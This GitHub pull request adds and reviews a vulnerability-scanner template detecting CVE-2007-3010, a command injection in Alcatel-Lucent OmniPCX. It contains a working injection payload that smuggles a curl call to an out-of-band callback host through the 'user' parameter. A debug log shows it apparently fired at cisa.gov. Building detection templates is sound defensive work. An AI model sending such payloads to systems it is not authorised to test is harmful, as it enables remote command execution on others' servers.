Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

CVE-2007-3010 #8387

Merged
merged 3 commits into from
Feb 6, 2024
Merged

CVE-2007-3010 #8387

merged 3 commits into from
Feb 6, 2024

Conversation

king-alexander
Copy link
Contributor

@king-alexander king-alexander commented Oct 13, 2023 •
edited
Loading

Template / PR Information

This is a new template for a Known Exploited Vulnerability (#7549).

Template Validation

I've validated this template locally?

  • YES
  • NO

Additional Details (leave it blank if not applicable)

Additional References:

@pussycat0x
Copy link
Contributor

Hello @king-alexander I appreciate you sharing this template. If possible, could you also provide debug data? It would be very beneficial for our validation process.

@pussycat0x pussycat0x added the Status: In Progress This issue is being worked on, and has someone assigned. label Oct 23, 2023
@king-alexander
Copy link
Contributor Author

Hello @king-alexander I appreciate you sharing this template. If possible, could you also provide debug data? It would be very beneficial for our validation process.

Sure! What type of debug data would be helpful?

@pussycat0x
Copy link
Contributor

Hello @king-alexander , you can utilize the -debug flag to obtain debug data when executing a template
syntax:
./nuclei -u target -t CVE-2007-3010.yaml -debug

@king-alexander
Copy link
Contributor Author 

[DBG] [CVE-2007-3010] Dumped HTTP response https://cisa.gov/cgi-bin/masterCGI?ping=nomip&user=;curl${IFS}https://cleau9n70jngqfel87s0aefodk1mhh7o9.oast.live;

HTTP/1.1 403 Forbidden
Connection: close
Content-Length: 284
Cache-Control: max-age=0
Content-Type: text/html
Date: Tue, 21 Nov 2023 13:22:49 GMT
Expires: Tue, 21 Nov 2023 13:22:49 GMT
Mime-Version: 1.0
Server: AkamaiGHost
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Reference-Error: 18.683b2f17.1700572969.4886ea5f

<HTML><HEAD>
<TITLE>Access Denied</TITLE>
</HEAD><BODY>
<H1>Access Denied</H1>

You don't have permission to access "http&#58;&#47;&#47;cisa&#46;gov&#47;cgi&#45;bin&#47;masterCGI&#63;" on this server.<P>
Reference&#32;&#35;18&#46;683b2f17&#46;1700572969&#46;4886ea5f

@pussycat0x
Copy link
Contributor

Hi @king-alexander Thank you for providing debug data. I've made updates to the matchers. Could you please check if they work for you? Additionally, do you have any Shodan or FOFA dorks for this?

id: CVE-2007-3010

info:
  name: Alcatel-Lucent OmniPCX - Remote Command Execution
  author: king-alexander
  severity: high
  description: |
    The OmniPCX web interface has a script "masterCGI" with a remote command execution vulnerability via the "user" parameter.
  impact: |
   Any user with access to the web interface could execute arbitrary commands with the permissions of the webservers.
  remediation: |
    Update to supported versions that filter shell metacharacters in the "user" parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2007-3010
    - https://marc.info/?l=full-disclosure&m=119002152126755&w=2
  tags: alcatel,cve,cve2007,kev,rce

http:
  - method: GET
    path:
      # Spaces must be encoded with the internal field separator "${IFS}" to execute the command.
      - "{{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;curl${IFS}https://{{interactsh-url}};"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: header
        words:
          - 'Content-Type: text/html'

      - type: word
        part: body
        words:
          - "Access Denied"

      - type: status
        status:
          - 403

@king-alexander
Copy link
Contributor Author

Thank you for the update! I don't think we want to match on 403 Forbidden response however. This vulnerability applies when the web interface is exposed. I don't have a Shodan or FOFA dork, but I imagine those would help us match on a true positive.

@DhiyaneshGeek DhiyaneshGeek self-requested a review February 6, 2024 06:47
@DhiyaneshGeek DhiyaneshGeek added Done Ready to merge and removed Status: In Progress This issue is being worked on, and has someone assigned. labels Feb 6, 2024
@DhiyaneshGeek
Copy link
Member

Hi @king-alexander i have managed to validate this successfully at my end.

made some changes around the matcher to fix the false positive.

Thank you so much for sharing this template with the community and contributing to the template project 😄

@DhiyaneshGeek DhiyaneshGeek merged commit 7d9b23f into projectdiscovery:main Feb 6, 2024
2 checks passed
@king-alexander king-alexander deleted the template/CVE-2007-3010 branch February 6, 2024 22:38
@king-alexander
Copy link
Contributor Author

@DhiyaneshGeek Thank you for taking the time to validate the template! I appreciate the work you've done to get this template merged 🙏

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@DhiyaneshGeek DhiyaneshGeek DhiyaneshGeek approved these changes

Assignees

@pussycat0x pussycat0x

Labels
Done Ready to merge
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
3 participants
@king-alexander @pussycat0x @DhiyaneshGeek